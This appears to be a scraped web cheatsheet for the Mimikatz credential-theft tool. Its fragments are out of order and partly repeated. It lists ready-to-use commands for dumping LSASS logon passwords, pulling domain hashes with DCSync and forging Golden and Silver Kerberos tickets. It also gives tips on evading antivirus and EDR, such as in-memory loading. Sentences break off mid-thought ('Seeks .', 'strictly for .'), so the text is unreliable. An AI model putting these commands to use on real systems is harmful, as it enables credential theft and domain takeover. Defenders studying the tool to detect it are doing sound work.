Mimikatz Cheatsheet 〈2025〉
| Command | Purpose | | :--- | :--- | | mimikatz.exe | Launch the tool (interactive mode). | | mimikatz # privilege::debug | Seeks . This is the "master key" to interact with LSASS. | | mimikatz # token::elevate | Elevates to SYSTEM account (often needed for LSASS access). | | mimikatz # exit | Exit the Mimikatz console. |
echo privilege::debug >> commands.txt echo sekurlsa::logonpasswords >> commands.txt echo exit >> commands.txt mimikatz.exe ""script:commands.txt"" If you are defending a network, you must assume Mimikatz will be used. mimikatz cheatsheet
| Command | Result | | :--- | :--- | | lsadump::dcsync /user:Administrator | Get hash of a specific user without touching LSASS. | | lsadump::dcsync /all | Dump domain user hash. This is catastrophic for the blue team. | 4. Kerberos Attacks (Golden & Silver Tickets) | Command | Use Case | | :--- | :--- | | kerberos::golden /user:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /id:500 /ptt | Create a Golden Ticket (krbtgt hash required). Grants unlimited domain access . | | kerberos::golden /user:USER /domain:DOMAIN /sid:SID /target:TARGET /rc4:HASH /service:cifs /ptt | Create a Silver Ticket (service account hash required). | | kerberos::purge | Clear existing Kerberos tickets before injection. | Phase 3: Advanced Evasion & Living off the Land Because modern EDR kills mimikatz.exe , use these techniques: Technique A: Non-Exported Output # Log output to a file instead of printing to screen mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> C:\temp\log.txt Technique B: Reflective Loading (PowerShell) Load Mimikatz directly into memory without touching disk. | Command | Purpose | | :--- | :--- | | mimikatz
However, with great power comes great responsibility. This cheatsheet is strictly for . ⚠️ Warning: Modern Antivirus (AV) and Endpoint Detection & Response (EDR) aggressively flag Mimikatz. You will rarely run the vanilla .exe on a live engagement today. Phase 1: Loading & Privilege Escalation Before running any commands, you must load Mimikatz and gain the necessary rights. | | mimikatz # token::elevate | Elevates to